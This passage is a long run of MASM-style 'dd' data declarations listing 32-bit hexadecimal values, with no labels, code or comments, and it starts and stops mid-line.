4A41C290h, 8001101Eh, 9224810Dh, 94002464h, 0D907E33Ch dd 0D7970FB5h, 9C3E972h, 2003BAECh, 5DB13817h, 2038AD7Ah dd 446F8h, 1ED57CD6h, 1425B1Ch, 74900D61h, 4D074EE1h, 8357E8E4h dd 0E0C5A928h, 0CC30E484h, 58D72043h, 0DB472E53h, 0C04A1C14h dd 5C360B3Bh, 0BE3CC111h, 0A4731EFAh, 74C02640h, 483FC41Eh dd 242982CDh, 4BB000D4h, 0B35C0A5Bh, 0D3BD4486h, 5B4A590Fh dd 0F1E3A0FFh, 0C503CE1h, 9C87E0Fh, 796F06A8h, 0DA0420B1h dd 0FC0E2B44h, 4DF52469h, 0FF790050h, 0E89492E1h, 70A037EEh dd 0D149F522h, 52EB875Ch, 1DFDA8E0h, 0D0008501h, 0FEE552EFh dd 112F03E8h, 0D4BAB837h, 0B848AFBAh, 0AE04F561h, 0A7FC0876h dd 0D68F1587h, 23507D14h, 4BB30086h, 0B6A409FCh, 21146786h dd 0AA4A20E4h, 8185127h, 0E519653Ah, 0B11700A0h, 3C95B2E2h dd 8901C1B8h, 0A24F48B5h, 9CE47CFFh, 5AC0238h, 3F525516h dd 52F298A4h, 0C0444408h, 0A4787D5Fh, 7122D646h, 67C70D00h dd 30D92E19h, 44331E38h, 4139D804h, 0A0A81C05h, 0F10076DDh dd 421FD9DFh, 33C8529h, 0B5F314A0h, 317BD36Ah, 80B69C00h dd 0D022196Fh, 0FE560068h, 0D8C3AB79h, 29C0255Dh, 0FCFA329h dd 0A8EFC21h, 177FB6CEh, 74A84884h, 176DAE10h, 7976480h dd 7049E165h, 57FE8074h, 4395A929h, 0E2C5223Ah, 6B5300A6h dd 690A2814h, 7C9974B6h, 0C6719829h, 9EE49718h, 42156B71h dd 80D8775Eh, 4F5861DEh, 2892BDh, 72E64BB4h, 1CB30438h dd 8CC8F78h, 72E921BCh, 945895C2h, 577A0A00h, 4798097h dd 0F0A409h, 6E6B5FD4h, 557A76AFh, 80918A07h, 0FAB2A6C3h dd 1118C1A1h, 0E01F15h, 5DDF43C9h, 0B028BEB8h, 64A17035h dd 934ED087h, 201037Eh, 0A4BBD309h, 0C0823DF5h, 50FA1B3Bh dd 0E4370060h, 0BA9FFC01h, 47B236DAh, 183B0420h, 0EC114A94h dd 0C900C415h, 4DAA51A9h, 8F4F50h, 10B921C2h, 0EE94B8C1h dd 1607C300h, 0A3A9C841h, 22E300B7h, 0A2400942h, 0A5006179h dd 31FA5E8Bh, 262B4BBAh, 0F4B8A79Dh, 40CEE21h, 3FF51970h dd 6B082042h, 6C65D905h, 7B5B1488h, 0C979AFh, 0F1405DE1h dd 98FBAC9Dh, 6A530912h, 6844CC30h, 6EA4104Bh, 2E2DD95h dd 20748C42h, 217EF87Eh, 0ABA1460Eh, 53641004h, 1BD40072h dd 441CEDAAh, 9700E1D2h, 0BA11491Ah, 30E70AFh, 32592CD7h dd 7AC1CB34h, 2194F4A0h, 88483E48h, 0E677C06Ch, 23218E7Eh dd 11891A1h, 0A6E64F0Dh, 0E42240B9h, 5D94D40Ch, 391F0F21h dd 0DF01B218h, 8AF08FA4h, 346BD444h, 0B37C401h, 8443DB3Ch dd 0A5E15F50h, 751B5A00h, 36243D56h, 46003C4Ch, 87540B1Dh dd 286891FCh, 3DF80420h, 96B8089Ch, 590A6118h, 0E890BAB2h dd 0D10128A8h, 0DF487923h, 0D44B0B21h, 3010E884h, 2A023Fh dd 0DB159B3Ch, 0A817E6EFh, 284896FAh, 0F197044Ch, 2CC9B16Ah dd 3DB05026h, 0C1240C0h, 5444CA81h, 94C04842h, 60D5931Fh dd 901B683Ch, 0EA0004A1h, 0DF146115h, 2854BD46h, 0CEDDAEh dd 4AE59DDBh, 0BBA0D66h, 6424D200h, 567D116Bh, 2DE400B9h dd 469071DCh, 6E734BE5h, 130CA00h, 7956371Ch, 99F000DDh dd 0C7E72E7Dh, 9800E1F7h, 6DCD5E5Ch, 3A26EB5h, 584E33A4h dd 0E1E86AF3h, 800271Eh, 833F869Bh, 3A0C1710h, 0D9180D1Ah dd 403E202Ah, 2F936A00h, 9CFDCBA9h, 0E501046Eh, 0C0AA0442h dd 14509FA8h, 99ACC700h, 9A3E8498h, 4DCC03E9h, 40377D3Dh dd 0B1C97800h, 0D8C71B5Ch, 7FAC032Fh, 0ADA988B8h, 0CEFDBAA8h dd 86CCA200h, 20D7AFD2h, 0F88F6BFh, 635B0B64h, 7320F2EAh dd 0CFCA899h, 51310FE3h, 50806C6Fh, 11B98D90h, 0E14DC71Fh dd 0E8958C7h, 0D9F01C17h, 8ECDD8h, 7055DDB9h, 0AEF45BE8h dd 0DB00D770h, 7A6588B6h, 816426D8h, 0F3D1D1D3h, 41078978h dd 190BF985h, 65A51F0h, 30AE74CBh, 1B201DF7h, 0D203F9CEh dd 0DA774274h, 0FC490C86h, 1E90C64Ch, 0E2CE7A1Dh, 9D6E1830h dd 99762A84h, 8AFC0CA0h, 65282EEEh, 0B3FDD105h, 6782D08Eh dd 0A090AD78h, 215020A0h, 8680BBEEh, 5F1906F9h, 1D2086AFh dd 0CFE8011Fh, 3CBA7EF9h, 7008207Dh, 0AB40781Bh, 0D0BEC051h dd 9D89006Fh, 0E5AF7A1Ch, 1E8783Bh, 0E14E7B0Ch, 7F2B20D4h dd 0D180F1D7h, 0DE7EE36Dh, 60063FAh, 0CD2F3C2Ch, 3FD5697h dd 88B9AB6Eh, 0D900E5C3h, 0FB9E0FC7h, 18F9DCF4h, 0C85C9B89h dd 7E86B73Ch, 1908088Ch, 0A366AE2Fh, 0D4461FA9h, 0AB67C0F9h dd 0DA5153E4h, 89D87515h, 690118B8h, 7DB5Ch, 0E591A3AEh dd 0C94BC04Eh, 0D584DF28h, 0F33BC705h, 4C00D644h, 0E75F896Dh dd 0B03E03D9h, 0B76ED0CEh, 9DF349A1h, 5FCEEF20h, 0A8AB4A7Eh dd 0F800E19Eh, 0B65618B5h, 0D0C8CE2Bh, 0E258C0B0h, 52CF1994h dd 72C3C8ACh, 3EEAE0C0h, 0F4888097h, 0E154601Dh, 0D700A20Fh dd 30B89590h, 9040D874h, 0F12E0041h, 0D96017Dh, 7B00323Eh dd 0B745428Dh, 2AF33CF8h, 27CC2C8h, 0DA435E0Dh, 4C19AADEh dd 5FB57310h, 947AFB01h, 0BB8CF785h, 93E93F4h, 4EA168AEh dd 61412424h, 3401902Fh, 92CC0C4Bh, 27DB0084h, 42326F90h dd 96000B5Ch, 1B9EA4ABh, 489AD899h, 5D2A7411h, 0F9610088h dd 0DCA72DB1h, 60A53D46h, 9604664h, 280007ADh, 0CF6CD823h dd 16214EAh, 4F158240h, 0A850DEC1h, 0CB520C51h, 5F880130h dd 0B749AA86h, 10884B0Ch, 0AE5E0012h, 0AADD8131h, 0C21815E4h dd 2D415D0Ch, 86440014h, 9E56322h, 160056F8h, 0E40ED294h dd 1C3692AAh, 93300732h, 11D8080Ch, 26B83C2h, 62190EEBh dd 0B872180h, 9F26A99Bh, 0CE2C5E09h, 7E248259h, 0E4370043h dd 0CCA81618h, 449ACDF3h, 13D88300h, 0CE6C8B2h, 4E140A8Ch dd 8F3CFCB6h, 3F829B0Ah, 0C4191093h, 424C4180h, 1BFEF36Ah dd 0BE92D504h, 509051B6h, 1F712ADDh, 0C1D39948h, 0F8BF96F3h dd 19A7CC6Eh, 8D201713h, 10AF8832h, 70039B10h, 0A68A9A36h dd 0C8205051h, 0F97D04ADh, 8072278Eh, 0E415EB10h, 1DF1D111h dd 2520C10Ch, 10913B49h, 4A184B79h, 3E320507h, 6A20DB29h dd 0A1BCF9h, 0BEDD0DCBh, 862BB5B9h, 37880CB1h, 0F98360B7h dd 0D74C1985h, 0A1E258h, 0F5C07C55h, 0C46EE104h, 388F8B50h dd 3D00E3DDh, 9E66ADD2h, 0ED291570h, 929A8F5h, 2A9678E4h dd 0D9D70086h, 1CB94961h, 83009A93h, 2C887D8Fh, 2EBAF13h dd 2EE44A17h, 0F8447A86h, 80AC1B21h, 9C0F903Dh, 0E18679C4h dd 0C3C91C64h, 224A0B20h, 0CEF373E8h, 0D8A7507Ch, 18E2C5C2h dd 130349A4h, 1A257F23h, 0E0890110h, 0B489560Bh, 0C08057C3h dd 0E53AB0C6h, 7B593E06h, 0E192FD6h, 0B8B6F9A7h, 69F39083h dd 6CDB3100h, 0F0A37808h, 1DEC0028h, 0E5C4F752h, 5607F933h dd 0C38969CAh dd 0D20B246Ah, 7B081004h, 351C00DFh, 2D563498h, 80B0A894h dd 2F8DA90Ch, 0E6F85Eh, 0DDC69A6Ah, 0EB565421h, 0DA674100h dd 544A3D3h, 63723914h, 0F8DDA100h, 0D24DFD2Bh, 4B9CA600h dd 7F36A52Ah, 1E7D0045h, 77E291D1h, 0C400CA51h, 0F40AA60h dd 0E6495Eh, 4618B813h, 2D64764Fh, 1DFBD400h, 8492EBBEh dd 0F121058Ah, 0FCDF64Dh, 74C07C81h, 581038DBh, 0F3188200h dd 0A93FAA99h, 67270002h, 5068A525h, 4A00A021h, 4DFA2EBEh dd 7D62A3Ch, 419737DCh, 7EF1431Dh, 18A39BA8h, 848B0A00h dd 7B45D36h, 3EB3043Ch, 0C0B882A5h, 0E934F1E3h, 5E00C976h dd 54430431h, 0ADD889h, 25865A72h, 0DA64E617h, 81211902h dd 603E4755h, 3D3A66h, 0A9AE456Ah, 0E113F828h, 5300E7E8h dd 0ECB0C95h, 1EE5F526h, 8085BDFDh, 23E66C25h, 5003CA47h dd 0CCB2AE36h, 5CC001CFh, 847EA17Ch, 0EC4083D1h, 0E8FEDA7Ah dd 28524DC5h, 30C0F9EDh, 0E9805661h, 0D10198EBh, 0C1CDF599h dd 0F8C49110h, 45D20079h, 2B5C9293h, 0B871126Ch, 6BF13Bh dd 0DC4F816Eh, 14B2EA20h, 80457BC3h, 0E2121F00h, 0D17D090h dd 285ABD07h, 4C8194B1h, 0A7ECB970h, 19CE0329h, 48B72566h dd 7F37A4A8h, 98D140C0h, 0CFA05Fh, 0F028E2EBh, 2AB78FDFh dd 12002090h, 42A364F7h, 9D4F1Dh, 8EB8494Bh, 8C2213F4h dd 693E27F2h, 706F0AEDh, 57086095h, 6BF0605Dh, 0C9466E53h dd 1E006D22h, 7E39E215h, 3CCBDC8h, 0EF5ED37Fh, 40003C49h dd 63F72918h, 0E432B11h, 194DC96Bh, 0A32FD220h, 0B7745062h dd 8AECFC00h, 55215EAh, 0C1B1675Dh, 4CE00F18h, 10B2763Ch dd 8A5C2507h, 800CADA9h, 775F0B1h, 21A304C0h, 1B82507Bh dd 983D9976h, 497D800Ah, 6C3020BFh, 0D98B00F6h, 0A3EA5BF1h dd 0E0033DFh, 29E84A2Bh, 0D5E352h, 42536DD6h, 9C957A7Ch dd 84CBAF00h, 97082AE9h, 5C40C01Ah, 37E5D4B4h, 39651800h dd 8A27DEE3h, 9F1C0033h, 0E17B92C1h, 0A101AE13h, 6023303Eh dd 48CCB9A4h, 12A57324h, 8B0E4B5Fh, 1D4EC4DCh, 3AA1B130h dd 0B9BC4704h, 0E0D0D8FCh, 7BA927h, 9510AEE6h, 500D9E28h dd 9B47AD02h, 51C222CDh, 18467974h, 98267BBDh, 0BBC900B1h dd 66B62201h, 7E5D7875h, 6FD280F4h, 428C9DBBh, 2ADEC077h dd 0B88490h, 95E033DAh, 0C891A0BEh, 4B595C01h, 3E8DE722h dd 22C4884Bh, 3ADC301Fh, 0BF8D2844h, 0A4FC051Ch, 4752BA20h dd 0B0C2FD9Ch, 374608B0h, 245AFA00h, 9CD0FB91h, 0C4890064h dd 0CE73387Eh, 0D702A0F1h, 12849D90h, 1C8588Ch, 0F4FE0DC2h dd 609B1C7Fh, 10039A10h, 0B8964B0Ch, 189BE6h, 81919E68h dd 0E8144ED8h, 0F6B75400h, 488C5CEDh, 0DB070040h, 4D597252h dd 0A902C714h, 6729CDF7h, 23209694h, 9021FC68h, 861D50D0h dd 218F242Ch, 0B64FA900h, 0B9E306Eh, 8BA57454h, 0FBA064A0h dd 0B45D4E01h, 6B948018h, 42232171h, 2EB2CF0Fh, 60F8A09Bh dd 0ACB063h, 0EB734E56h, 0EAA4B402h, 0B651E8E5h, 0A02F2B4Eh dd 62005023h, 9230565Ch, 0E4650E54h, 0C013DA51h, 68E3BD00h dd 0CCF76602h, 707407D8h, 0B19707DCh, 0C7F0AD82h, 5404E16Ah dd 6CACF0BAh, 99F058B9h, 0CA008677h, 0D2B61A7Bh, 14D611h dd 0D0C082D1h, 6B413199h, 486CCC1Ah, 34A82868h, 7B01215Eh dd 9F62CF80h, 4EB5055Dh, 10883AEFh, 0ABC01DC9h, 61422A0Bh dd 83AF009h, 92807DEh, 28B34B34h, 0E99B0479h, 32101B3Fh dd 0E2612075h, 0A1003E68h, 0DF6AB72Ah, 373CFFAh, 3A8C4E02h dd 5807D928h, 1A438DE6h, 86339870h, 0ACD700FCh, 0F8A477Ah dd 0DE1E091Bh, 8FE8A20Ch, 6A57F700h, 3BB8D118h, 40650FEBh dd 0C6809B3Ah, 0B5792990h, 789CB000h, 0A680B4F4h, 3541D1Ch dd 7EED8EABh, 7FF9C4C0h, 9400E00Fh, 78C6E2FBh, 0B56F025Fh dd 0C400CC50h, 7BB064B7h, 3BEC9DCh, 0F5964A23h, 81049F7h dd 0BCBF48C6h, 0EDF81F1Dh, 810E00C4h, 1EEF7F2Bh, 961F6C00h dd 61C0E584h, 1457C1Bh, 0B077C120h, 9C376A10h, 22A2E829h dd 0C422E33Ch, 2F8622C7h, 3B3E6422h, 0A8C0CC3Fh, 0FB8078FCh dd 0C07E4093h, 63CF3D44h, 44CC515Eh, 14EF2921h, 657E503Ch dd 230513Bh, 1E08A514h, 3C04B805h, 94440955h, 1637467Eh dd 0CC743E29h, 817A2940h, 28417881h, 6C173301h, 1900C629h dd 0E344BFABh, 0EE81E9h, 0FC51B87Eh, 261C2385h, 272CC900h dd 42503017h, 9EF70F6Ch, 0A20E7DCEh, 6BD87020h, 0C000F1E5h dd 27901465h, 194BA63h, 29496728h, 0CC7FCD2Eh, 0CB00A1F8h dd 8871BFADh, 1E860C58h, 0C00F2FBDh, 1AFC1170h, 0AE003A3Bh dd 0C4FE3803h, 75C8F8D7h, 4EE9003Eh, 77B79D30h, 4872AFEFh dd 8C53AE00h, 0D066E56Fh, 9DC8003Ch, 0F818C27Fh, 0EC0032D5h dd 0DFD1A71Dh, 0F00F9A04h, 0E1480151h, 3D399389h, 0F2F4F4DDh dd 85577D0Fh, 6A246026h, 489EEF65h, 96002451h, 0FCCE043Fh dd 0B40E355Fh, 0A673BFD8h, 3F509216h, 0DF9F656Fh, 5D50DC14h dd 0C0815D7Ch, 82C72D53h, 0EB00361Eh, 1327FC0Eh, 4C78A1EFh dd 3D149847h, 0F9808C2Fh, 6A5B28F2h, 0E42C1100h, 0AEAD449Dh dd 3A4C00D8h, 7581B5Ah, 8011256h, 0EFC98F3Dh, 76F8DD75h dd 0B76503B6h, 0A2626085h, 21CD31C0h, 55408C00h, 86D8B18h dd 0EB1068Eh, 3682348Fh, 0D332DA00h, 6086EB99h, 24CE2E2Fh dd 102118E5h, 0E203789Dh, 8DD3A402h, 0DA85805Eh, 0D2220076h dd 71FB656Ch, 0B6000792h, 1144FAB3h, 40CEC5h, 0D3E2AD6h dd 66C3E26Fh, 0BF2CAC75h, 7200770Eh, 5141FCF6h, 52FF0358h dd 0B27EA53Ch, 0B17D8080h, 71345300h, 6D9C4266h, 9F100ECh dd 203975B9h, 0B8036283h, 90653E61h, 538FC1CEh, 0E9CBC0h dd 5A26F4D6h, 27C38B68h, 80CE9D3Ah, 35E0911h, 0FA203380h dd 77490715h, 401AC98Eh, 0EEABF4B1h, 64B8781Ch, 7148CAC0h dd 4046AEh, 8FDEAF67h, 5D98E782h, 6B7AD100h, 0BB880DAAh dd 7620057h, 0DF102D2Eh, 500070E5h, 9B462BCCh, 196A374h dd 941B3EC0h, 0B942E49Fh, 0F94880D8h, 0CC865DC1h, 0F4B300A3h dd 33DCEE40h, 5807E5A2h, 60B66197h, 7CA9BBA0h, 825900FCh dd 0CE5B8586h, 0BA7A09C2h, 9C1BB702h, 403A21F8h, 0D7EB0Fh dd 0BE9538Ah, 0BF7ECEC2h, 50F2D100h, 0CAC91767h, 9F1F0733h dd 10B78115h, 0D3664DCCh, 0C2E6AB8h, 48000835h, 0E1C9C29h dd 0D2DE0050h, 0F16DCD2Dh, 2A05C31Bh, 97198473h, 0ADA4E500h dd 134F89Fh, 14321011h, 0C4DBF9B1h, 20001678h, 0DF29F636h dd 1CC96087h, 0D50938h, 0E8DD3F9Dh, 6E3E319Bh, 0EE3804Ah dd 8E34A3B8h, 11BC09C0h, 44034798h, 3802968h, 9100CB77h dd 46F4C48Ch, 12F3C1CAh, 0F9ADF7h, 15D33F0Ch, 0F800C6B9h dd 63448CC5h, 0FEFBF287h, 0C7B6007Eh, 28433E7Dh, 5035B0Ah dd 6E85E28Ah, 0AC20B70Ch, 1019FF4h, 35118922h, 0D0EFB46Ch dd 1F0095FEh, 0CA5ECD76h, 0C37EC7h, 0B6EDF3E0h, 0C24A6D9h dd 0F4C91300h, 3B403018h, 0E55D00DDh, 5EE2A4Fh, 0B53A7506h dd 4E44802Dh, 0DD99C658h, 3CE30747h, 0B074A35Ah, 61E4BBA0h dd 0FF7FB528h, 0AC0055FAh, 0CE4AA256h, 642733h, 0F935E141h dd 38984B13h, 82CF680Eh, 0ADD2E09Ch, 3F1306Bh, 0E4916A50h dd 9FA8B3ABh, 0C7263A44h, 0E021816Fh, 932B2001h, 0FAF0AAFFh dd 464900BCh, 20145F7h, 770091C1h, 61FEF1F6h, 1B33309h dd 0B9A19625h, 0F4DA5366h dd 0B73E481h, 43A86400h, 11CAF240h, 345800D8h, 98B4BA08h dd 22E42ACDh, 120DC30Ch, 6D6043h, 16508A1Ah, 2C8901EFh dd 887F1000h, 0E7F220A6h, 9C7004Dh, 0EFEA9EBDh, 0F300E489h dd 0E8F0E534h, 0CDC0CCh, 339F3FFBh, 0CB92791Dh, 44B07500h dd 0D151619Dh, 0B9BD3C8Fh, 0D2944180h, 0B6E6CE31h, 0B223EC02h dd 60735166h, 1FC5920Eh, 7089D99h, 0F039197Dh, 24786590h dd 3C77A000h, 2F2E631h, 6C933720h, 53E570C2h, 0F700A281h dd 587A5536h, 7E8FAA78h, 659A0E94h, 1E32A87Ch, 0D2AFC0B0h dd 52784DA5h, 0A26C4900h, 4CC8C41Ch, 0D0D70BF2h, 4003191h dd 6B3BD598h, 291A0700h, 0E511DFB5h, 6AA40039h, 58EC9485h dd 64B0B723h, 0B3C4EA05h, 5C80D7CBh, 1E5C11A8h, 0C17B19E3h dd 5A691271h, 6080D104h, 5008487h, 194CDAEFh, 5F9E90h dd 0C3608D33h, 82FEA28Fh, 8697D600h, 9A033EB0h, 58E8032Dh dd 456CEC9Bh, 0ED2C7AA0h, 0ABEEBC07h, 8DD05A5Bh, 7F859Eh dd 509A4411h, 539F12DBh, 0C83DAE00h, 4169CD74h, 8CC3000Dh dd 970E94D9h, 34034BF2h, 28E8EEDAh, 0E471D082h, 81D90037h dd 17FEA0B4h, 0CD019905h, 0BCF0EA58h, 0C2F80D42h, 54B50055h dd 0D4DA2998h, 0B9792BE4h, 0B6CFB800h, 921ADB48h, 74C0B0E8h dd 995E0029h, 9CB0BDDFh, 6D022472h, 0AC08432Bh, 56A64067h dd 5DE0037h, 0F7D8847Ah, 0C2007B1Dh, 6EF8D00Dh, 2C41BEDh dd 0B1FBFD87h, 0EE40DCA9h, 54022650h, 4AB3B414h, 6B14E0F4h dd 0C7733C75h, 5684B50Ah, 471D00CCh, 407BF196h, 69757800h dd 0C89D97E1h, 53E8034Fh, 424BAF19h, 745E4600h, 0E092FA9Ch dd 55D638A5h, 0B0D4D914h, 1E8EC009h, 43197080h, 5E007023h dd 52B99062h, 0CAFF14h, 634679E7h, 0FB6EAF4Ah, 5B5C0C00h dd 0D76C0228h, 7CAC5850h, 0E61B6F0Eh, 431E81AEh, 0FEFF4E92h dd 0E27138C8h, 0CD6B1400h, 3BA93E44h, 479700D3h, 0EC168E06h dd 0AD0E7565h, 0C06B398Ch, 4AC083A3h, 0FDD00B43h, 58057D3h dd 0A814A25Ch, 0E00A3Bh, 4D8AFAE6h, 2E22257Fh, 3461BDh dd 0C39C0D11h, 0C0006A96h, 0A3DB5EF9h, 983B5E8h, 152AF4BBh dd 0FB41548Eh, 803DD5C9h, 458E9AB8h, 0B6A5D22h, 0E840BE16h dd 738D300h, 0F416CAD3h, 8480445Fh, 1488AB60h, 0F89F040Ah dd 292B6700h, 765EA821h, 9E556100h, 8DE88C97h, 129200C0h dd 694981DBh, 4BF69926h, 0C8F02300h, 651CF180h, 50C40037h dd 0E32E1808h, 4600B113h, 6A07EA56h, 3CD4EB5h, 0DC25D3A8h dd 42F9D12Ch, 415B718Bh, 0C1356940h, 70F4CC5Ah, 67B32A00h dd 4A8CEC60h, 2F27036Ch, 18F7170Ah, 31C83AA0h, 63ED0603h dd 0C8907802h, 0D6AFA5h, 0B7A3C105h, 0E19EE870h, 4113E680h dd 3E420D5h, 7842840Eh, 0A6AC40FEh, 0E6498Dh, 7FF29B8Eh dd 2E2977B8h, 6F59B403h, 0F0A0316Ch, 31F66ACEh, 4D6A45C6h dd 0CC9ED83Fh, 11729201h, 5561D16h, 1F0F29D8h, 80E58419h dd 0C15E101Ch, 9600EC0Dh, 0B005DACFh, 1FEA8E6h, 9470DB3Ah dd 0F14DF522h, 3FE44024h, 1E00B6BAh, 0ED86E75Fh, 982F6C97h dd 0E37570h, 77F311B7h, 0AEE00659h, 7C2CFC5Ch, 2109C100h dd 0D8416879h, 51F600A3h, 0EB061E70h, 6000881Fh, 2F9C7572h dd 17336AF9h, 0BC6901h, 681C7498h, 0E40050CAh, 3DF844F1h dd 3D6649DFh, 6E81D8ECh, 64F68583h, 7017D1EFh, 110096E0h dd 606F7982h, 8C3F8Dh, 0D964F832h, 7BDC750Fh, 0F402687Fh dd 89AF6673h, 0CB908057h, 0F6A443E9h, 36531FFCh, 63C744B9h dd 7F9EC03Ch, 810040A2h, 0D548E9CDh, 7E8F1FAh, 1B356C8Ah dd 8C3ED01Dh, 0B1000633h, 11D39A8Eh, 8F1653h, 0DF1AE03h dd 4C85C2BAh, 3C835807h, 1EAB88h, 0A88206CCh, 90AA001Dh dd 0E681F942h, 5FE83302h, 59FC6D00h, 9671BDC5h, 58ABF2FBh dd 7B269Ah, 10F2D0F9h, 257C8C20h, 193EFA0Fh, 5EB0C351h dd 56ABB81Bh, 9CA400BCh, 6255C5F1h, 0F000BFBBh, 0BD77CBCDh dd 1998653h, 61951373h, 31393214h, 40C0CE79h, 5C28ED48h dd 0D7009FB1h, 0C2CFCC4Bh, 26FC7D5Fh, 0D74657h, 8AA5607Ch dd 10037795h, 0C5ACCDFBh, 34D48D9Fh, 9C1BEC02h, 8C46C0BDh dd 0B0B40009h, 4EB2C653h, 231E90E3h, 5F8070ABh, 0D0A79E7Ah dd 16BB0029h, 3AE341EDh, 53007438h, 980C6B28h, 0C6C286h dd 0AC1043C7h, 0A81678CDh, 30286459h, 4247102Eh, 0C08005B5h dd 801A4CCCh, 32433FDBh, 0E548FB00h, 0CEC6732Ah, 50F00567h dd 809A7CCBh, 0A529E6DFh, 4CAF3D01h, 18EC9626h, 0EFE351C4h dd 7B3A930h, 1C2F597h, 0C01F5E91h, 0E35F984Dh, 0EE075C5Bh dd 5731BB2Dh, 6C680009h, 9BDE422h, 6B3F86C5h, 1DBF4B8Eh dd 806A5F09h, 63C49F0Eh, 3C00F4E7h, 9358D15Eh, 0B13DCAh dd 0E4BCFF53h, 7FAD07A5h, 3A75C501h, 337BD9A4h, 3CC411C5h dd 0D2C30091h, 79789A59h, 0EC0DE85Fh, 0A8800EEBh, 9133C8h dd 0B58910CAh, 0B381AF9Dh, 1DA02D00h, 6CEF0F40h, 8A180ACEh dd 80E4CC31h, 5F71D2E9h, 0CA1F5502h, 3EC03613h, 0F212E5Eh dd 0BA7D0EDFh, 0F7208C94h, 0E0223025h, 0EA89C601h, 0DA4D15F3h dd 95824h, 3320ACD3h, 314451B3h, 0AF49DC1Ch, 9B00F99Dh dd 4DB2B6D2h, 0F09C078Eh, 60695B84h, 7ED94AE5h, 0B7CBA900h dd 0D0D20F83h, 0EC2609DBh, 74A5F801h, 0C630B07Bh, 5D3DB609h dd 64800413h, 0BA9C7CC0h, 5F760D30h, 301863DBh, 0D901B488h dd 49A28361h, 0A0605729h, 441B48BCh, 31632Eh, 0A2EFF2F6h dd 153C23D9h, 681600FBh, 0BBFD9C90h, 631C03D2h, 1733CB56h dd 0E949CFF0h, 9D7C9090h, 0A11D6800h, 425BE22Ch, 8C3200A4h dd 49F208Fh, 0BE01CDBCh, 0A184B863h, 0C9E82DC0h, 0FAC3B74h dd 0D7923881h, 471AF87Dh, 163B079Ah, 76009881h, 0C3EFE34h dd 90075ABDh, 0F0EC7A6Ch, 300148B1h, 0D0B60079h, 3BC5117Bh dd 6200081Bh, 73824918h, 0AD6B5Fh, 802E77A0h, 0BB1FDF69h dd 54004C92h, 0B49232DAh, 9D905Ah, 0B3C1944h, 2AEE2767h dd 1E957900h, 307DD53Ah, 0A49E18A0h, 0D7B8E08Dh, 8FDB1A2Dh dd 423162ECh, 12784E30h, 0BDC61A9h, 5F00AF74h, 58B030B9h dd 3E783477h, 0AC92D500h, 0E9D9D00Eh, 539913EDh, 36A4D0A3h dd 0EC0132CAh, 2FF4E50Fh, 1080D3C8h, 3E3AC3CDh, 59013180h dd 466D507Ah, 45C0A0DCh, 9B4D00E0h, 0A213EAE8h, 220095A9h dd 0DEB5DA77h, 140AF778h, 0C83BF8CBh, 0E82C2E05h, 2594826Bh dd 2077A761h, 4370D914h, 1F22D505h, 0B80B3005h, 140C850Fh dd 753F1481h, 0E60C6D1h, 0BBBC0059h, 0F99B80A4h, 770A61FEh dd 0F2D10F2Dh, 0EECA2101h, 0F824A467h, 2F7005Dh, 0B318C74Bh dd 1C386AB6h, 0A1D380E3h, 38274DD4h, 0A4D8015Bh, 0C7903B05h dd 6C9DEC28h, 739FFC00h, 0D3641A7Eh, 0B064B08Eh, 242E0C3Ah dd 8BB86295h, 68595000h, 1912F8ABh, 0E26D0094h, 7E107B9Ch dd 481F86BAh, 1C055F4h, 1877256Fh, 90F003F7h, 0FD46ADC5h dd 0F4817EC2h, 43686429h, 1491998Ch, 9B9CE895h, 8DD2C000h dd 0EDB69D6h, 0B8EFF877h, 524D0150h, 1F4C4E4Fh, 0CB3870E4h dd 54A6D807h, 116080F7h, 73D75Fh, 0F1080F22h, 671C3355h dd 51777200h, 0F3E7868Ch, 0FFD700EEh, 742B96Bh, 513541Eh dd 0E8011067h, 810D591Dh, 18A048FCh, 10454F8Ah, 0D40C74F6h dd 9A5CC79Eh, 0DD75002Eh, 0C4546EE6h, 4D054A13h, 893F0763h dd 0E3AC40D0h, 97950058h dd 368B71CAh, 0D63E90C9h, 0EBEE00E5h, 2B1707B0h, 432E007Eh dd 47C7DCDAh, 72005C5Eh, 0C8AB9CE0h, 392C65h, 0C3E89A35h dd 0FF7A5337h, 688D1E07h, 3D71BE09h, 49F481EAh, 79A101E3h dd 0E2F7E19Ah, 0D4DEF191h, 10C98C1Dh, 643500E5h, 0C727F6h dd 228F08A9h, 3D720A94h, 0E2471400h, 0BCA81083h, 0A2D10009h dd 9A5BD2F5h, 4D018728h, 3404959Fh, 0CF4C08Bh, 0E0431D2Dh dd 8CEC4044h, 0EEC8DF3Ch, 676E5912h, 6A1F00FBh, 6BB7CC80h dd 82B1DD3Eh, 38F96F0Ch, 0D9FCE13Ch, 630F084h, 0D1674065h dd 30BFC44Fh, 90183175h, 73008844h, 500E8796h, 30EA6319h dd 0AE5883C0h, 5B3E6913h, 5E200048h, 51EF4F4Ch, 555C0007h dd 0E026D60Eh, 10072106h, 23B57D46h, 0C83D00EFh, 0D70D52h dd 11058F0Ah, 0C6B9E60Fh, 0C9646103h, 8886EC1Ah, 1D9E6EF2h dd 89296DA2h, 0EB8345E9h, 0E3900797h, 6E005659h, 0D241091Eh dd 1E27981h, 0A7589B38h, 0C8888C33h, 276E32Ch, 0D2037379h dd 67D17EBAh, 2DF6A092h, 0EEFE003Bh, 0DD9C8684h, 2F98B4B7h dd 0BB44A207h, 0F8D07501h, 0ECBCD056h, 0D6EC1DFAh, 0F4A2C636h dd 6500344Fh, 7DCA35EBh, 0E6968h, 0D413C2DFh, 9602791Dh dd 3D67D800h, 0A1CFC3E6h, 29310012h, 88430B62h, 0DE0091A2h dd 2747E907h, 7A40754Ch, 6FE6037Ch, 0ABFD6B1Fh, 0F56829A0h dd 0BF4E2201h, 0AEA8CDF8h, 6103E0CAh, 0C9C83946h, 306361Dh dd 934D7819h, 801FC83Fh, 92650240h, 1215D991h, 28CE7Bh dd 0BE38A074h, 0E8C38474h, 90D486C4h, 18AAB9AFh, 601D0212h dd 0AC719E3Bh, 7F00BAF8h, 4A4F7CFDh, 3284C8Ch, 0E8FF6956h dd 0FEA83961h, 0ED007758h, 0C218EFA8h, 77B72E4h, 0B5A534F8h dd 10420008h, 0F0E97C4Ch, 0B124682Eh, 7A016C9Ah, 0CE2549C8h dd 0CDE40CCh, 0B6D753C0h, 293EFE0Ah, 0BDC8813Ch, 0CA80C28Fh dd 24A860h, 0DC6635C7h, 0FF41AE91h, 54D8400h, 87CFDF50h dd 0EA10C0DBh, 0A7FB250Ah, 8DE23A09h, 0C480010h, 7308FF2Fh dd 1F9F00B6h, 68791242h, 0CF7C6A3Eh, 22631800h, 34F28CE3h dd 7B0400CBh, 7C0E6F35h, 61009095h, 44966538h, 0FFB9BC7h dd 